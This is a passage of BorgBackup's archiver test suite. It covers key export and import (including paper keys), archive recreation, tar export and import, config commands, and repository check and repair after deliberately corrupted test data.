else: with pytest.raises(Repository.AlreadyExists): self.cmd('init', '--encryption=repokey', self.repository_location + '/nested') def test_init_refuse_to_overwrite_keyfile(self): """BORG_KEY_FILE=something borg init should quit if "something" already exists. See https://github.com/borgbackup/borg/pull/6046""" keyfile = os.path.join(self.tmpdir, 'keyfile') with environment_variable(BORG_KEY_FILE=keyfile): self.cmd('init', '--encryption=keyfile', self.repository_location + '0') with open(keyfile) as file: before = file.read() arg = ('init', '--encryption=keyfile', self.repository_location + '1') if self.FORK_DEFAULT: self.cmd(*arg, exit_code=2) else: with pytest.raises(borg.helpers.errors.Error): self.cmd(*arg) with open(keyfile) as file: after = file.read() assert before == after def check_cache(self): # First run a regular borg check self.cmd('check', self.repository_location) # Then check that the cache on disk matches exactly what's in the repo. with self.open_repository() as repository: manifest, key = Manifest.load(repository, Manifest.NO_OPERATION_CHECK) with Cache(repository, key, manifest, sync=False) as cache: original_chunks = cache.chunks Cache.destroy(repository) with Cache(repository, key, manifest) as cache: correct_chunks = cache.chunks assert original_chunks is not correct_chunks seen = set() for id, (refcount, size, csize) in correct_chunks.iteritems(): o_refcount, o_size, o_csize = original_chunks[id] assert refcount == o_refcount assert size == o_size assert csize == o_csize seen.add(id) for id, (refcount, size, csize) in original_chunks.iteritems(): assert id in seen def test_check_cache(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') with self.open_repository() as repository: manifest, key = Manifest.load(repository, Manifest.NO_OPERATION_CHECK) with Cache(repository, key, manifest, sync=False) as cache: cache.begin_txn() cache.chunks.incref(list(cache.chunks.iteritems())[0][0]) cache.commit() with pytest.raises(AssertionError): self.check_cache() def test_recreate_target_rc(self): self.cmd('init', '--encryption=repokey', self.repository_location) output = self.cmd('recreate', self.repository_location, '--target=asdf', exit_code=2) assert 'Need to specify single archive' in output def test_recreate_target(self): self.create_test_files() self.cmd('init', '--encryption=repokey', self.repository_location) self.check_cache() archive = self.repository_location + '::test0' self.cmd('create', archive, 'input') self.check_cache() original_archive = self.cmd('list', self.repository_location) self.cmd('recreate', archive, 'input/dir2', '-e', 'input/dir2/file3', '--target=new-archive') self.check_cache() archives = self.cmd('list', self.repository_location) assert original_archive in archives assert 'new-archive' in archives archive = self.repository_location + '::new-archive' listing = self.cmd('list', '--short', archive) assert 'file1' not in listing assert 'dir2/file2' in listing assert 'dir2/file3' not in listing def test_recreate_basic(self): self.create_test_files() self.create_regular_file('dir2/file3', size=1024 * 80) self.cmd('init', '--encryption=repokey', self.repository_location) archive = self.repository_location + '::test0' self.cmd('create', archive, 'input') self.cmd('recreate', archive, 'input/dir2', '-e', 'input/dir2/file3') self.check_cache() listing = self.cmd('list', '--short', archive) assert 'file1' not in listing assert 'dir2/file2' in listing assert 'dir2/file3' not in listing @pytest.mark.skipif(not are_hardlinks_supported(), reason='hardlinks not supported') def test_recreate_subtree_hardlinks(self): # This is essentially the same problem set as in test_extract_hardlinks self._extract_hardlinks_setup() self.cmd('create', self.repository_location + '::test2', 'input') self.cmd('recreate', self.repository_location + '::test', 'input/dir1') self.check_cache() with changedir('output'): self.cmd('extract', self.repository_location + '::test') assert os.stat('input/dir1/hardlink').st_nlink == 2 assert os.stat('input/dir1/subdir/hardlink').st_nlink == 2 assert os.stat('input/dir1/aaaa').st_nlink == 2 assert os.stat('input/dir1/source2').st_nlink == 2 with changedir('output'): self.cmd('extract', self.repository_location + '::test2') assert os.stat('input/dir1/hardlink').st_nlink == 4 def test_recreate_rechunkify(self): with open(os.path.join(self.input_path, 'large_file'), 'wb') as fd: fd.write(b'a' * 280) fd.write(b'b' * 280) self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', '--chunker-params', '7,9,8,128', self.repository_location + '::test1', 'input') self.cmd('create', self.repository_location + '::test2', 'input', '--files-cache=disabled') list = self.cmd('list', self.repository_location + '::test1', 'input/large_file', '--format', '{num_chunks} {unique_chunks}') num_chunks, unique_chunks = map(int, list.split(' ')) # test1 and test2 do not deduplicate assert num_chunks == unique_chunks self.cmd('recreate', self.repository_location, '--chunker-params', 'default') self.check_cache() # test1 and test2 do deduplicate after recreate assert int(self.cmd('list', self.repository_location + '::test1', 'input/large_file', '--format={size}')) assert not int(self.cmd('list', self.repository_location + '::test1', 'input/large_file', '--format', '{unique_chunks}')) def test_recreate_recompress(self): self.create_regular_file('compressible', size=10000) self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input', '-C', 'none') file_list = self.cmd('list', self.repository_location + '::test', 'input/compressible', '--format', '{size} {csize} {sha256}') size, csize, sha256_before = file_list.split(' ') assert int(csize) >= int(size) # >= due to metadata overhead self.cmd('recreate', self.repository_location, '-C', 'lz4', '--recompress') self.check_cache() file_list = self.cmd('list', self.repository_location + '::test', 'input/compressible', '--format', '{size} {csize} {sha256}') size, csize, sha256_after = file_list.split(' ') assert int(csize) < int(size) assert sha256_before == sha256_after def test_recreate_timestamp(self): local_timezone = datetime.now(timezone(timedelta(0))).astimezone().tzinfo self.create_test_files() self.cmd('init', '--encryption=repokey', self.repository_location) archive = self.repository_location + '::test0' self.cmd('create', archive, 'input') self.cmd('recreate', '--timestamp', "1970-01-02T00:00:00", '--comment', 'test', archive) info = self.cmd('info', archive).splitlines() dtime = datetime(1970, 1, 2) + local_timezone.utcoffset(None) s_time = dtime.strftime("%Y-%m-%d") assert any([re.search(r'Time \(start\).+ %s' % s_time, item) for item in info]) assert any([re.search(r'Time \(end\).+ %s' % s_time, item) for item in info]) def test_recreate_dry_run(self): self.create_regular_file('compressible', size=10000) self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') archives_before = self.cmd('list', self.repository_location + '::test') self.cmd('recreate', self.repository_location, '-n', '-e', 'input/compressible') self.check_cache() archives_after = self.cmd('list', self.repository_location + '::test') assert archives_after == archives_before def test_recreate_skips_nothing_to_do(self): self.create_regular_file('file1', size=1024 * 80) self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') info_before = self.cmd('info', self.repository_location + '::test') self.cmd('recreate', self.repository_location, '--chunker-params', 'default') self.check_cache() info_after = self.cmd('info', self.repository_location + '::test') assert info_before == info_after # includes archive ID def test_with_lock(self): self.cmd('init', '--encryption=repokey', self.repository_location) lock_path = os.path.join(self.repository_path, 'lock.exclusive') cmd = 'python3', '-c', 'import os, sys; sys.exit(42 if os.path.exists("%s") else 23)' % lock_path self.cmd('with-lock', self.repository_location, *cmd, fork=True, exit_code=42) def test_recreate_list_output(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_regular_file('file1', size=0) self.create_regular_file('file2', size=0) self.create_regular_file('file3', size=0) self.create_regular_file('file4', size=0) self.create_regular_file('file5', size=0) self.cmd('create', self.repository_location + '::test', 'input') output = self.cmd('recreate', '--list', '--info', self.repository_location + '::test', '-e', 'input/file2') self.check_cache() self.assert_in("input/file1", output) self.assert_in("x input/file2", output) output = self.cmd('recreate', '--list', self.repository_location + '::test', '-e', 'input/file3') self.check_cache() self.assert_in("input/file1", output) self.assert_in("x input/file3", output) output = self.cmd('recreate', self.repository_location + '::test', '-e', 'input/file4') self.check_cache() self.assert_not_in("input/file1", output) self.assert_not_in("x input/file4", output) output = self.cmd('recreate', '--info', self.repository_location + '::test', '-e', 'input/file5') self.check_cache() self.assert_not_in("input/file1", output) self.assert_not_in("x input/file5", output) def test_bad_filters(self): self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') self.cmd('delete', '--first', '1', '--last', '1', self.repository_location, fork=True, exit_code=2) def test_key_export_keyfile(self): export_file = self.output_path + '/exported' self.cmd('init', self.repository_location, '--encryption', 'keyfile') repo_id = self._extract_repository_id(self.repository_path) self.cmd('key', 'export', self.repository_location, export_file) with open(export_file) as fd: export_contents = fd.read() assert export_contents.startswith('BORG_KEY ' + bin_to_hex(repo_id) + '\n') key_file = self.keys_path + '/' + os.listdir(self.keys_path)[0] with open(key_file) as fd: key_contents = fd.read() assert key_contents == export_contents os.unlink(key_file) self.cmd('key', 'import', self.repository_location, export_file) with open(key_file) as fd: key_contents2 = fd.read() assert key_contents2 == key_contents def test_key_import_keyfile_with_borg_key_file(self): self.cmd('init', self.repository_location, '--encryption', 'keyfile') exported_key_file = os.path.join(self.output_path, 'exported') self.cmd('key', 'export', self.repository_location, exported_key_file) key_file = os.path.join(self.keys_path, os.listdir(self.keys_path)[0]) with open(key_file) as fd: key_contents = fd.read() os.unlink(key_file) imported_key_file = os.path.join(self.output_path, 'imported') with environment_variable(BORG_KEY_FILE=imported_key_file): self.cmd('key', 'import', self.repository_location, exported_key_file) assert not os.path.isfile(key_file), '"borg key import" should respect BORG_KEY_FILE' with open(imported_key_file) as fd: imported_key_contents = fd.read() assert imported_key_contents == key_contents def test_key_export_repokey(self): export_file = self.output_path + '/exported' self.cmd('init', self.repository_location, '--encryption', 'repokey') repo_id = self._extract_repository_id(self.repository_path) self.cmd('key', 'export', self.repository_location, export_file) with open(export_file) as fd: export_contents = fd.read() assert export_contents.startswith('BORG_KEY ' + bin_to_hex(repo_id) + '\n') with Repository(self.repository_path) as repository: repo_key = RepoKey(repository) repo_key.load(None, Passphrase.env_passphrase()) backup_key = KeyfileKey(key.TestKey.MockRepository()) backup_key.load(export_file, Passphrase.env_passphrase()) assert repo_key.enc_key == backup_key.enc_key with Repository(self.repository_path) as repository: repository.save_key(b'') self.cmd('key', 'import', self.repository_location, export_file) with Repository(self.repository_path) as repository: repo_key2 = RepoKey(repository) repo_key2.load(None, Passphrase.env_passphrase()) assert repo_key2.enc_key == repo_key2.enc_key def test_key_export_qr(self): export_file = self.output_path + '/exported.html' self.cmd('init', self.repository_location, '--encryption', 'repokey') repo_id = self._extract_repository_id(self.repository_path) self.cmd('key', 'export', '--qr-html', self.repository_location, export_file) with open(export_file, encoding='utf-8') as fd: export_contents = fd.read() assert bin_to_hex(repo_id) in export_contents assert export_contents.startswith('<!doctype html>') assert export_contents.endswith('</html>\n') def test_key_export_directory(self): export_directory = self.output_path + '/exported' os.mkdir(export_directory) self.cmd('init', self.repository_location, '--encryption', 'repokey') self.cmd('key', 'export', self.repository_location, export_directory, exit_code=EXIT_ERROR) def test_key_import_errors(self): export_file = self.output_path + '/exported' self.cmd('init', self.repository_location, '--encryption', 'keyfile') self.cmd('key', 'import', self.repository_location, export_file, exit_code=EXIT_ERROR) with open(export_file, 'w') as fd: fd.write('something not a key\n') if self.FORK_DEFAULT: self.cmd('key', 'import', self.repository_location, export_file, exit_code=2) else: with pytest.raises(NotABorgKeyFile): self.cmd('key', 'import', self.repository_location, export_file) with open(export_file, 'w') as fd: fd.write('BORG_KEY a0a0a0\n') if self.FORK_DEFAULT: self.cmd('key', 'import', self.repository_location, export_file, exit_code=2) else: with pytest.raises(RepoIdMismatch): self.cmd('key', 'import', self.repository_location, export_file) def test_key_export_paperkey(self): repo_id = 'e294423506da4e1ea76e8dcdf1a3919624ae3ae496fddf905610c351d3f09239' export_file = self.output_path + '/exported' self.cmd('init', self.repository_location, '--encryption', 'keyfile') self._set_repository_id(self.repository_path, unhexlify(repo_id)) key_file = self.keys_path + '/' + os.listdir(self.keys_path)[0] with open(key_file, 'w') as fd: fd.write(KeyfileKey.FILE_ID + ' ' + repo_id + '\n') fd.write(b2a_base64(b'abcdefghijklmnopqrstu').decode()) self.cmd('key', 'export', '--paper', self.repository_location, export_file) with open(export_file) as fd: export_contents = fd.read() assert export_contents == """To restore key use borg key import --paper /path/to/repo BORG PAPER KEY v1 id: 2 / e29442 3506da 4e1ea7 / 25f62a 5a3d41 - 02 1: 616263 646566 676869 6a6b6c 6d6e6f 707172 - 6d 2: 737475 - 88 """ def test_key_import_paperkey(self): repo_id = 'e294423506da4e1ea76e8dcdf1a3919624ae3ae496fddf905610c351d3f09239' self.cmd('init', self.repository_location, '--encryption', 'keyfile') self._set_repository_id(self.repository_path, unhexlify(repo_id)) key_file = self.keys_path + '/' + os.listdir(self.keys_path)[0] with open(key_file, 'w') as fd: fd.write(KeyfileKey.FILE_ID + ' ' + repo_id + '\n') fd.write(b2a_base64(b'abcdefghijklmnopqrstu').decode()) typed_input = ( b'2 / e29442 3506da 4e1ea7 / 25f62a 5a3d41 02\n' # Forgot to type "-" b'2 / e29442 3506da 4e1ea7 25f62a 5a3d41 - 02\n' # Forgot to type second "/" b'2 / e29442 3506da 4e1ea7 / 25f62a 5a3d42 - 02\n' # Typo (..42 not ..41) b'2 / e29442 3506da 4e1ea7 / 25f62a 5a3d41 - 02\n' # Correct! Congratulations b'616263 646566 676869 6a6b6c 6d6e6f 707172 - 6d\n' b'\n\n' # Abort [yN] => N b'737475 88\n' # missing "-" b'73747i - 88\n' # typo b'73747 - 88\n' # missing nibble b'73 74 75 - 89\n' # line checksum mismatch b'00a1 - 88\n' # line hash collision - overall hash mismatch, have to start over b'2 / e29442 3506da 4e1ea7 / 25f62a 5a3d41 - 02\n' b'616263 646566 676869 6a6b6c 6d6e6f 707172 - 6d\n' b'73 74 75 - 88\n' ) # In case that this has to change, here is a quick way to find a colliding line hash: # # from hashlib import sha256 # hash_fn = lambda x: sha256(b'\x00\x02' + x).hexdigest()[:2] # for i in range(1000): # if hash_fn(i.to_bytes(2, byteorder='big')) == '88': # 88 = line hash # print(i.to_bytes(2, 'big')) # break self.cmd('key', 'import', '--paper', self.repository_location, input=typed_input) # Test abort paths typed_input = b'\ny\n' self.cmd('key', 'import', '--paper', self.repository_location, input=typed_input) typed_input = b'2 / e29442 3506da 4e1ea7 / 25f62a 5a3d41 - 02\n\ny\n' self.cmd('key', 'import', '--paper', self.repository_location, input=typed_input) def test_debug_dump_manifest(self): self.create_regular_file('file1', size=1024 * 80) self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') dump_file = self.output_path + '/dump' output = self.cmd('debug', 'dump-manifest', self.repository_location, dump_file) assert output == "" with open(dump_file) as f: result = json.load(f) assert 'archives' in result assert 'config' in result assert 'item_keys' in result assert 'timestamp' in result assert 'version' in result def test_debug_dump_archive(self): self.create_regular_file('file1', size=1024 * 80) self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') dump_file = self.output_path + '/dump' output = self.cmd('debug', 'dump-archive', self.repository_location + "::test", dump_file) assert output == "" with open(dump_file) as f: result = json.load(f) assert '_name' in result assert '_manifest_entry' in result assert '_meta' in result assert '_items' in result def test_debug_refcount_obj(self): self.cmd('init', '--encryption=repokey', self.repository_location) output = self.cmd('debug', 'refcount-obj', self.repository_location, '0' * 64).strip() assert output == 'object 0000000000000000000000000000000000000000000000000000000000000000 not found [info from chunks cache].' create_json = json.loads(self.cmd('create', '--json', self.repository_location + '::test', 'input')) archive_id = create_json['archive']['id'] output = self.cmd('debug', 'refcount-obj', self.repository_location, archive_id).strip() assert output == 'object ' + archive_id + ' has 1 referrers [info from chunks cache].' # Invalid IDs do not abort or return an error output = self.cmd('debug', 'refcount-obj', self.repository_location, '124', 'xyza').strip() assert output == 'object id 124 is invalid.\nobject id xyza is invalid.' def test_debug_info(self): output = self.cmd('debug', 'info') assert 'CRC implementation' in output assert 'Python' in output def test_benchmark_crud(self): self.cmd('init', '--encryption=repokey', self.repository_location) with environment_variable(_BORG_BENCHMARK_CRUD_TEST='YES'): self.cmd('benchmark', 'crud', self.repository_location, self.input_path) def test_config(self): self.create_test_files() os.unlink('input/flagfile') self.cmd('init', '--encryption=repokey', self.repository_location) output = self.cmd('config', '--list', self.repository_location) self.assert_in('[repository]', output) self.assert_in('version', output) self.assert_in('segments_per_dir', output) self.assert_in('storage_quota', output) self.assert_in('append_only', output) self.assert_in('additional_free_space', output) self.assert_in('id', output) self.assert_not_in('last_segment_checked', output) output = self.cmd('config', self.repository_location, 'last_segment_checked', exit_code=1) self.assert_in('No option ', output) self.cmd('config', self.repository_location, 'last_segment_checked', '123') output = self.cmd('config', self.repository_location, 'last_segment_checked') assert output == '123' + '\n' output = self.cmd('config', '--list', self.repository_location) self.assert_in('last_segment_checked', output) self.cmd('config', '--delete', self.repository_location, 'last_segment_checked') for cfg_key, cfg_value in [ ('additional_free_space', '2G'), ('repository.append_only', '1'), ]: output = self.cmd('config', self.repository_location, cfg_key) assert output == '0' + '\n' self.cmd('config', self.repository_location, cfg_key, cfg_value) output = self.cmd('config', self.repository_location, cfg_key) assert output == cfg_value + '\n' self.cmd('config', '--delete', self.repository_location, cfg_key) self.cmd('config', self.repository_location, cfg_key, exit_code=1) self.cmd('config', '--list', '--delete', self.repository_location, exit_code=2) self.cmd('config', self.repository_location, exit_code=2) self.cmd('config', self.repository_location, 'invalid-option', exit_code=1) requires_gnutar = pytest.mark.skipif(not have_gnutar(), reason='GNU tar must be installed for this test.') requires_gzip = pytest.mark.skipif(not shutil.which('gzip'), reason='gzip must be installed for this test.') @requires_gnutar def test_export_tar(self): self.create_test_files() os.unlink('input/flagfile') self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') self.cmd('export-tar', self.repository_location + '::test', 'simple.tar', '--progress') with changedir('output'): # This probably assumes GNU tar. Note -p switch to extract permissions regardless of umask. subprocess.check_call(['tar', 'xpf', '../simple.tar', '--warning=no-timestamp']) self.assert_dirs_equal('input', 'output/input', ignore_flags=True, ignore_xattrs=True, ignore_ns=True) @requires_gnutar @requires_gzip def test_export_tar_gz(self): if not shutil.which('gzip'): pytest.skip('gzip is not installed') self.create_test_files() os.unlink('input/flagfile') self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') list = self.cmd('export-tar', self.repository_location + '::test', 'simple.tar.gz', '--list') assert 'input/file1\n' in list assert 'input/dir2\n' in list with changedir('output'): subprocess.check_call(['tar', 'xpf', '../simple.tar.gz', '--warning=no-timestamp']) self.assert_dirs_equal('input', 'output/input', ignore_flags=True, ignore_xattrs=True, ignore_ns=True) @requires_gnutar def test_export_tar_strip_components(self): if not shutil.which('gzip'): pytest.skip('gzip is not installed') self.create_test_files() os.unlink('input/flagfile') self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') list = self.cmd('export-tar', self.repository_location + '::test', 'simple.tar', '--strip-components=1', '--list') # --list's path are those before processing with --strip-components assert 'input/file1\n' in list assert 'input/dir2\n' in list with changedir('output'): subprocess.check_call(['tar', 'xpf', '../simple.tar', '--warning=no-timestamp']) self.assert_dirs_equal('input', 'output/', ignore_flags=True, ignore_xattrs=True, ignore_ns=True) @requires_hardlinks @requires_gnutar def test_export_tar_strip_components_links(self): self._extract_hardlinks_setup() self.cmd('export-tar', self.repository_location + '::test', 'output.tar', '--strip-components=2') with changedir('output'): subprocess.check_call(['tar', 'xpf', '../output.tar', '--warning=no-timestamp']) assert os.stat('hardlink').st_nlink == 2 assert os.stat('subdir/hardlink').st_nlink == 2 assert os.stat('aaaa').st_nlink == 2 assert os.stat('source2').st_nlink == 2 @requires_hardlinks @requires_gnutar def test_extract_hardlinks_tar(self): self._extract_hardlinks_setup() self.cmd('export-tar', self.repository_location + '::test', 'output.tar', 'input/dir1') with changedir('output'): subprocess.check_call(['tar', 'xpf', '../output.tar', '--warning=no-timestamp']) assert os.stat('input/dir1/hardlink').st_nlink == 2 assert os.stat('input/dir1/subdir/hardlink').st_nlink == 2 assert os.stat('input/dir1/aaaa').st_nlink == 2 assert os.stat('input/dir1/source2').st_nlink == 2 def test_import_tar(self): self.create_test_files() os.unlink('input/flagfile') self.cmd('init', '--encryption=none', self.repository_location) self.cmd('create', self.repository_location + '::src', 'input') self.cmd('export-tar', self.repository_location + '::src', 'simple.tar') self.cmd('import-tar', self.repository_location + '::dst', 'simple.tar') with changedir(self.output_path): self.cmd('extract', self.repository_location + '::dst') self.assert_dirs_equal('input', 'output/input', ignore_ns=True, ignore_xattrs=True) @requires_gzip def test_import_tar_gz(self): if not shutil.which('gzip'): pytest.skip('gzip is not installed') self.create_test_files() os.unlink('input/flagfile') self.cmd('init', '--encryption=none', self.repository_location) self.cmd('create', self.repository_location + '::src', 'input') self.cmd('export-tar', self.repository_location + '::src', 'simple.tgz') self.cmd('import-tar', self.repository_location + '::dst', 'simple.tgz') with changedir(self.output_path): self.cmd('extract', self.repository_location + '::dst') self.assert_dirs_equal('input', 'output/input', ignore_ns=True, ignore_xattrs=True) def test_detect_attic_repo(self): path = make_attic_repo(self.repository_path) cmds = [ ['create', path + '::test', self.tmpdir], ['extract', path + '::test'], ['check', path], ['rename', path + '::test', 'newname'], ['list', path], ['delete', path], ['prune', path], ['info', path + '::test'], ['key', 'export', path, 'exported'], ['key', 'import', path, 'import'], ['key', 'change-passphrase', path], ['break-lock', path], ] for args in cmds: output = self.cmd(*args, fork=True, exit_code=2) assert 'Attic repository detected.' in output # derived from test_extract_xattrs_errors() @pytest.mark.skipif(not xattr.XATTR_FAKEROOT, reason='xattr not supported on this system or on this version of' 'fakeroot') def test_do_not_fail_when_percent_is_in_xattr_name(self): """https://github.com/borgbackup/borg/issues/6063""" def patched_setxattr_EACCES(*args, **kwargs): raise OSError(errno.EACCES, 'EACCES') self.create_regular_file('file') xattr.setxattr(b'input/file', b'user.attribute%p', b'value') self.cmd('init', self.repository_location, '-e' 'none') self.cmd('create', self.repository_location + '::test', 'input') with changedir('output'): with patch.object(xattr, 'setxattr', patched_setxattr_EACCES): self.cmd('extract', self.repository_location + '::test', exit_code=EXIT_WARNING) # derived from test_extract_xattrs_errors() @pytest.mark.skipif(not xattr.XATTR_FAKEROOT, reason='xattr not supported on this system or on this version of' 'fakeroot') def test_do_not_fail_when_percent_is_in_file_name(self): """https://github.com/borgbackup/borg/issues/6063""" def patched_setxattr_EACCES(*args, **kwargs): raise OSError(errno.EACCES, 'EACCES') os.makedirs(os.path.join(self.input_path, 'dir%p')) xattr.setxattr(b'input/dir%p', b'user.attribute', b'value') self.cmd('init', self.repository_location, '-e' 'none') self.cmd('create', self.repository_location + '::test', 'input') with changedir('output'): with patch.object(xattr, 'setxattr', patched_setxattr_EACCES): self.cmd('extract', self.repository_location + '::test', exit_code=EXIT_WARNING) def test_do_not_mention_archive_if_you_can_not_find_repo(self): """https://github.com/borgbackup/borg/issues/6014""" archive = self.repository_location + '-this-repository-does-not-exist' + '::test' output = self.cmd('info', archive, exit_code=2, fork=True) self.assert_in('this-repository-does-not-exist', output) self.assert_not_in('this-repository-does-not-exist::test', output) def test_can_read_repo_even_if_nonce_is_deleted(self): """Nonce is only used for encrypting new data. It should be possible to retrieve the data from an archive even if both the client and the server forget the nonce""" self.create_regular_file('file1', contents=b'Hello, borg') self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') # Oops! We have removed the repo-side memory of the nonce! # See https://github.com/borgbackup/borg/issues/5858 os.remove(os.path.join(self.repository_path, 'nonce')) # Oops! The client has lost the nonce too! os.remove(os.path.join(self.get_security_dir(), 'nonce')) # The repo should still be readable repo_info = self.cmd('info', self.repository_location) assert 'All archives:' in repo_info repo_list = self.cmd('list', self.repository_location) assert 'test' in repo_list # The archive should still be readable archive_info = self.cmd('info', self.repository_location + '::test') assert 'Archive name: test\n' in archive_info archive_list = self.cmd('list', self.repository_location + '::test') assert 'file1' in archive_list # Extracting the archive should work with changedir('output'): self.cmd('extract', self.repository_location + '::test') self.assert_dirs_equal('input', 'output/input') def test_recovery_from_deleted_repo_nonce(self): """We should be able to recover if path/to/repo/nonce is deleted. The nonce is stored in two places: in the repo and in $HOME. The nonce in the repo is only needed when multiple clients use the same repo. Otherwise we can just use our own copy of the nonce. """ self.create_regular_file('file1', contents=b'Hello, borg') self.cmd('init', '--encryption=repokey', self.repository_location) self.cmd('create', self.repository_location + '::test', 'input') # Oops! We have removed the repo-side memory of the nonce! # See https://github.com/borgbackup/borg/issues/5858 nonce = os.path.join(self.repository_path, 'nonce') os.remove(nonce) self.cmd('create', self.repository_location + '::test2', 'input') assert os.path.exists(nonce) @unittest.skipUnless('binary' in BORG_EXES, 'no borg.exe available') class ArchiverTestCaseBinary(ArchiverTestCase): EXE = 'borg.exe' FORK_DEFAULT = True @unittest.skip('does not raise Exception, but sets rc==2') def test_init_parent_dirs(self): pass @unittest.skip('patches objects') def test_init_interrupt(self): pass @unittest.skip('patches objects') def test_extract_capabilities(self): pass @unittest.skip('patches objects') def test_extract_xattrs_errors(self): pass @unittest.skip('test_basic_functionality seems incompatible with fakeroot and/or the binary.') def test_basic_functionality(self): pass @unittest.skip('test_overwrite seems incompatible with fakeroot and/or the binary.') def test_overwrite(self): pass def test_fuse(self): if fakeroot_detected(): unittest.skip('test_fuse with the binary is not compatible with fakeroot') else: super().test_fuse() @unittest.skip('patches objects') def test_do_not_fail_when_percent_is_in_xattr_name(self): pass @unittest.skip('patches objects') def test_do_not_fail_when_percent_is_in_file_name(self): pass class ArchiverCheckTestCase(ArchiverTestCaseBase): def setUp(self): super().setUp() with patch.object(ChunkBuffer, 'BUFFER_SIZE', 10): self.cmd('init', '--encryption=repokey', self.repository_location) self.create_src_archive('archive1') self.create_src_archive('archive2') def test_check_usage(self): output = self.cmd('check', '-v', '--progress', self.repository_location, exit_code=0) self.assert_in('Starting repository check', output) self.assert_in('Starting archive consistency check', output) self.assert_in('Checking segments', output) # reset logging to new process default to avoid need for fork=True on next check logging.getLogger('borg.output.progress').setLevel(logging.NOTSET) output = self.cmd('check', '-v', '--repository-only', self.repository_location, exit_code=0) self.assert_in('Starting repository check', output) self.assert_not_in('Starting archive consistency check', output) self.assert_not_in('Checking segments', output) output = self.cmd('check', '-v', '--archives-only', self.repository_location, exit_code=0) self.assert_not_in('Starting repository check', output) self.assert_in('Starting archive consistency check', output) output = self.cmd('check', '-v', '--archives-only', '--prefix=archive2', self.repository_location, exit_code=0) self.assert_not_in('archive1', output) output = self.cmd('check', '-v', '--archives-only', '--first=1', self.repository_location, exit_code=0) self.assert_in('archive1', output) self.assert_not_in('archive2', output) output = self.cmd('check', '-v', '--archives-only', '--last=1', self.repository_location, exit_code=0) self.assert_not_in('archive1', output) self.assert_in('archive2', output) def test_missing_file_chunk(self): archive, repository = self.open_archive('archive1') with repository: for item in archive.iter_items(): if item.path.endswith('testsuite/archiver.py'): valid_chunks = item.chunks killed_chunk = valid_chunks[-1] repository.delete(killed_chunk.id) break else: self.fail('should not happen') repository.commit(compact=False) self.cmd('check', self.repository_location, exit_code=1) output = self.cmd('check', '--repair', self.repository_location, exit_code=0) self.assert_in('New missing file chunk detected', output) self.cmd('check', self.repository_location, exit_code=0) output = self.cmd('list', '--format={health}#{path}{LF}', self.repository_location + '::archive1', exit_code=0) self.assert_in('broken#', output) # check that the file in the old archives has now a different chunk list without the killed chunk for archive_name in ('archive1', 'archive2'): archive, repository = self.open_archive(archive_name) with repository: for item in archive.iter_items(): if item.path.endswith('testsuite/archiver.py'): self.assert_not_equal(valid_chunks, item.chunks) self.assert_not_in(killed_chunk, item.chunks) break else: self.fail('should not happen') # do a fresh backup (that will include the killed chunk) with patch.object(ChunkBuffer, 'BUFFER_SIZE', 10): self.create_src_archive('archive3') # check should be able to heal the file now: output = self.cmd('check', '-v', '--repair', self.repository_location, exit_code=0) self.assert_in('Healed previously missing file chunk', output) self.assert_in('testsuite/archiver.py: Completely healed previously damaged file!', output) # check that the file in the old archives has the correct chunks again for archive_name in ('archive1', 'archive2'): archive, repository = self.open_archive(archive_name) with repository: for item in archive.iter_items(): if item.path.endswith('testsuite/archiver.py'): self.assert_equal(valid_chunks, item.chunks) break else: self.fail('should not happen') # list is also all-healthy again output = self.cmd('list', '--format={health}#{path}{LF}', self.repository_location + '::archive1', exit_code=0) self.assert_not_in('broken#', output) def test_missing_archive_item_chunk(self): archive, repository = self.open_archive('archive1') with repository: repository.delete(archive.metadata.items[0]) repository.commit(compact=False) self.cmd('check', self.repository_location, exit_code=1) self.cmd('check', '--repair', self.repository_location, exit_code=0) self.cmd('check', self.repository_location, exit_code=0) def test_missing_archive_metadata(self): archive, repository = self.open_archive('archive1') with repository: repository.delete(archive.id) repository.commit(compact=False) self.cmd('check', self.repository_location, exit_code=1) self.cmd('check', '--repair', self.repository_location, exit_code=0) self.cmd('check', self.repository_location, exit_code=0) def test_missing_manifest(self): archive, repository = self.open_archive('archive1') with repository: repository.delete(Manifest.MANIFEST_ID) repository.commit(compact=False) self.cmd('check', self.repository_location, exit_code=1) output = self.cmd('check', '-v', '--repair', self.repository_location, exit_code=0) self.assert_in('archive1', output) self.assert_in('archive2', output) self.cmd('check', self.repository_location, exit_code=0) def test_corrupted_manifest(self): archive, repository = self.open_archive('archive1') with repository: manifest = repository.get(Manifest.MANIFEST_ID) corrupted_manifest = manifest + b'corrupted!' repository.put(Manifest.MANIFEST_ID, corrupted_manifest) repository.commit(compact=False) self.cmd('check', self.repository_location, exit_code=1) output = self.cmd('check', '-v', '--repair', self.repository_location, exit_code=0) self.assert_in('archive1', output) self.assert_in('archive2', output) self.cmd('check', self.repository_location, exit_code=0) def test_manifest_rebuild_corrupted_chunk(self): archive, repository = self.open_archive('archive1') with repository: manifest = repository.get(Manifest.MANIFEST_ID) corrupted_manifest = manifest + b'corrupted!' repository.put(Manifest.MANIFEST_ID, corrupted_manifest) chunk = repository.get(archive.id) corrupted_chunk = chunk + b'corrupted!' repository.put(archive.id, corrupted_chunk) repository.commit(compact=False) self.cmd('check', self.repository_location, exit_code=1) output = self.cmd('check', '-v', '--repair', self.repository_location, exit_code=0) self.assert_in('archive2', output) self.cmd('check', self.repository_location, exit_code=0) def test_manifest_rebuild_duplicate_archive(self): archive, repository = self.open_archive('archive1') key = archive.key with repository: manifest = repository.get(Manifest.MANIFEST_ID) corrupted_manifest = manifest + 